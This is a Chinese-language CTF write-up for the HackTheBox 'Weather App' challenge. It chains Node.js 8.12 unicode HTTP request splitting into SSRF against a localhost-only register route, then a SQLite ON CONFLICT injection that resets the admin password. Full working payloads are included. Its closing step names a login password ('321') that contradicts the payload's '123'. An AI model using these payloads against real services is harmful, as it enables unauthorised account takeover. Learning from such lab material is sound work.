最近看到hackthebox一道题,关于nodejs请求走私的,学到不少东西,这里记录一下。
1. 先说题目 题目直接给了源码,题目名字是weather app,大家有兴趣可以直接去hackthebox做这道题。
源码是nodejs的,docker环境,代码功能看起来很简单,一共三个功能。分别是:登录(login),注册(register)和查询天气的api接口(/api/weather)。
在注册的代码中检查了来源ip是不是127.0.0.1,使用的是req.socket.remoteAddress,这种情况是没办法绕过的。所以需要通过查询天气的api接口来进行ssrf攻击。
以下贴一下关键部分的代码
WeatherHelper.js这是查询天气接口的api,endpoint、city和country三个参数可控,可以通过该处进行ssrf攻击
1 2 3 4 5 6 async  getWeather (res, endpoint, city, country ) {                 let  apiKey = '10a62430af617a949055a46fa6dec32f' ;         let  weatherData = await  HttpHelper .HttpGet (`http://${endpoint} /data/2.5/weather?q=${city} ,${country} &units=metric&appid=${apiKey} ` );           
router/index.js:这是路由的代码,有三个关键接口/login、/register、/api/weather,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 router.post ('/register' , (req, res ) =>  { 	if  (req.socket .remoteAddress .replace (/^.*:/ , '' ) != '127.0.0.1' ) { 		return  res.status (401 ).end (); 	} 	let  { username, password } = req.body ; 		if  (username && password) { 		return  db.register (username, password) 			.then (()  =>  res.send (response ('Successfully registered' ))) 			.catch (() =>  res.send (response ('Something went wrong' ))); 	} 	return  res.send (response ('Missing parameters' )); }); router.post ('/login' , (req, res ) =>  { 	let  { username, password } = req.body ; 	if  (username && password) { 		return  db.isAdmin (username, password) 			.then (admin  => 				if  (admin) return  res.send (fs.readFileSync ('/app/flag' ).toString ()); 				return  res.send (response ('You are not admin' )); 			}) 			.catch (() =>  res.send (response ('Something went wrong' ))); 	} 	 	return  re.send (response ('Missing parameters' )); }); router.post ('/api/weather' , (req, res ) =>  { 	let  { endpoint, city, country } = req.body ; 	if  (endpoint && city && country) { 		return  WeatherHelper .getWeather (res, endpoint, city, country); 	} 	return  res.send (response ('Missing parameters' )); });	 
views/database.js:这是创建数据库和两个判断函数的文件。创建的user表中的admin密码字段为随机字段。关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 async  migrate (        return  this .db .exec (`              DROP TABLE IF EXISTS users;             CREATE TABLE IF NOT EXISTS users (                 id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,                 username   VARCHAR(255) NOT NULL UNIQUE,                 password   VARCHAR(255) NOT NULL             );             INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32 ).toString('hex' ) } ');         ` );    }     async  register (user, pass ) {                  return  new  Promise (async  (resolve, reject) => {             try  {                 let  query = `INSERT INTO users (username, password) VALUES ('${user} ', '${pass} ')` ;                 resolve ((await  this .db .run (query)));             } catch (e) {                 reject (e);             }         });     }     async  isAdmin (user, pass ) {         return  new  Promise (async  (resolve, reject) => {             try  {                 let  smt = await  this .db .prepare ('SELECT username FROM users WHERE username = ? and password = ?' );                 let  row = await  smt.get (user, pass);                 resolve (row !== undefined  ? row.username  == 'admin'  : false );             } catch (e) {                 reject (e);             }         });     } 
根据以上代码不难看出这道题的解题思路:
根据weather api的查询接口,发起ssrf攻击 
ssrf对register接口进行攻击,注册一个用户 
注册的时候利用views/database.js中的register函数的注入漏洞 
登录admin账户即可拿到flag 
 
思路有了,那么几个关键点就出来了,如何发起ssrf攻击?如何利用注入漏洞?
2. nodejs请求走私 题目给了dockerfile文件,其中的关键点就在FROM node:8.12.0-alpine,nodejs指定版本8.12。这个版本已经很老了,目前我使用的版本都v15.x了,所以特定指定该版本,肯定是要利用nodejs的相关漏洞。
通过搜索不难发现nodejs 8.12存在拆分攻击漏洞(请求走私)。在http get请求的时候,没有处理好unicode字符,导致可以构造回车换行符来修改http流量,可以在正常请求中夹带另一个请求。具体的漏洞原理可以查看《通过拆分攻击实现的SSRF攻击》 。
而在该题目中,需要通过weather查询的api,来构造一个post到register的请求。
那么我们第一步就是要构造一个正常的注册包,题目给了源码,可以直接在本地用docker起起来。在调试的时候,为了方便可以暂时把判断127.0.0.1的代码给注释掉。
构造正常的注册包如下,注意Content-Type和Content-Length是两个必要的字段,参数上面仅有一行空余:
1 2 3 4 5 6 7 POST  /register  HTTP/1.1 Host :  127.0.0.1:1337Content-Type :  application/x-www-form-urlencodedContent-Length :  38username =admixxxn2&password=admin2
构造如上数据包后,可以正常进行注册。该处有个小的tips,就是Content-Type如果使用application/json的话,会存在编码问题。nodejs的httpget函数在发起请求时,会对特殊字符采用URL编码,如果要请求走私的话,提交的json字符的{、}、"都会被直接URL编码,如果夹在正常的http包中,服务端不会正常解码,会全部判断为body字符,导致json解码失败。
第二步就是要通过请求走私的漏洞,构造一个原始的POST包,混合在正常的数据包中。根据漏洞原理,对于回车换行符可以采用\u010D\u010A,空格可以采用\u0120进行替换。
所以构造出来的数据包如下:
1 \u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:1337\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u012086\u010D\u010A\u010D\u010Ausername=admin&password=admin2\u010D\u010A\u010D\u010AGET\u0120/123 
在nodejs中编写如下代码,然后nc监听即可通过nc查看构造的包
1 2 const  http = require ("http" );http.get ("http://127.0.0.1:8888/query?param=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:8888\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:1337\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u012086\u010D\u010A\u010D\u010Ausername=admin2&password=admin2\u010D\u010A\u010D\u010AGET\u0120/123" ) 
nc可得到构造好的数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 /app # nc -lvvp 8888 listening on [::]:8888 ... connect to [::ffff:127.0.0.1]:8888 from localhost:47630 ([::ffff:127.0.0.1]:47630) GET  /query?param=1  HTTP/1.1 Host :  127.0.0.1:80POST  /register  HTTP/1.1 Host :  127.0.0.1:1337Content-Type :  application/x-www-form-urlencodedContent-Length :  35username =admin2&password=admin2GET  /123 /data/2 .5 /weather?q=2 ,3 &units=metric&appid=10 a62430af617a949055a46fa6dec32f HTTP/1 .1 Host : 127.0.0.1:8888 Connection : close
最后一步很简单,就是将数据包放入到weather查询的api当中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST  /api/weather  HTTP/1.1 Host :  127.0.0.1:1337Cache-Control :  max-age=0Upgrade-Insecure-Requests :  1User-Agent :  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept :  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding :  gzip, deflateAccept-Language :  zh-CN,zh;q=0.9,ko;q=0.8Cookie :  PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9If-None-Match :  W/"40a-17749845bb8"If-Modified-Since :  Thu, 28 Jan 2021 15:02:27 GMTConnection :  closeContent-Type :  application/jsonContent-Length :  474{"endpoint" :"127.0.0.1/query?param=1\u 0120HTTP/1.1\u 010D\u 010AHost:\u 0120127.0.0.1:80\u 010D\u 010A\u 010D\u 010A\u 010D\u 010APOST\u 0120/register\u 0120HTTP/1.1\u 010D\u 010AHost:\u 0120127.0.0.1:80\u 010D\u 010AContent-Type:\u 0120application/x-www-form-urlencoded\u 010D\u 010AContent-Length:\u 012090\u 010D\u 010A\u 010D\u 010Ausername=admin2&password=admin2\u 010D\u 010A\u 010D\u 010AGET\u 0120/123" ,"city" :"2" ,"country" : "3" } 
3. sqlite注入 上面的ssrf问题解决了,最后一个问题来了,sqlite的注入怎么利用?
1 2 3 4 5 6 7 8 9 10 11 async  register (user, pass ) {         return  new  Promise (async  (resolve, reject) => {         try  {             let  query = `INSERT INTO users (username, password) VALUES ('${user} ', '${pass} ')` ;             resolve ((await  this .db .run (query)));         } catch (e) {             reject (e);         }     }); } 
我们可以看到,注入点在insert里面,一般针对mysql的话,注入点在insert后,一般采用的是报错注入,但这道题是sqlite的后端数据库。
经过一番搜索,针对这道题可以采用ON CONFLICT DO UPDATE的语法,在插入时候如果有冲突的话,则将admin的密码改成我们已知的密码。
以上的注入点可以构造如下语法:
1 INSERT INTO  users (username, password) VALUES  ('admin' , 'admin' ) ON  CONFLICT(username) DO UPDATE  set  password= '123' 
这样在注册的时候,username字段有冲突,就直接把该条记录更改为自己可控的字段。
所以根据以上的内容,可以得到以下的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST  /api/weather  HTTP/1.1 Host :  178.62.14.223:30863Cache-Control :  max-age=0Upgrade-Insecure-Requests :  1User-Agent :  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept :  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding :  gzip, deflateAccept-Language :  zh-CN,zh;q=0.9,ko;q=0.8Cookie :  PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9If-None-Match :  W/"40a-17749845bb8"If-Modified-Since :  Thu, 28 Jan 2021 15:02:27 GMTConnection :  closeContent-Type :  application/jsonContent-Length :  474{"endpoint" :"127.0.0.1/query?param=1\u 0120HTTP/1.1\u 010D\u 010AHost:\u 0120127.0.0.1:80\u 010D\u 010A\u 010D\u 010A\u 010D\u 010APOST\u 0120/register\u 0120HTTP/1.1\u 010D\u 010AHost:\u 0120127.0.0.1:80\u 010D\u 010AContent-Type:\u 0120application/x-www-form-urlencoded\u 010D\u 010AContent-Length:\u 012090\u 010D\u 010A\u 010D\u 010Ausername=admin&password=321')+on+CONFLICT(username)+do+update+set+password=%27123%27--+\u 010D\u 010A\u 010D\u 010AGET\u 0120/123" ,"city" :"2" ,"country" : "3" } 
最后使用admin密码321进行登录,即可得到flag。
参考文档 
通过拆分攻击实现的SSRF攻击 浅析HTTP走私攻击 [题目源码,解压密码hackthebox](./Weather App.zip)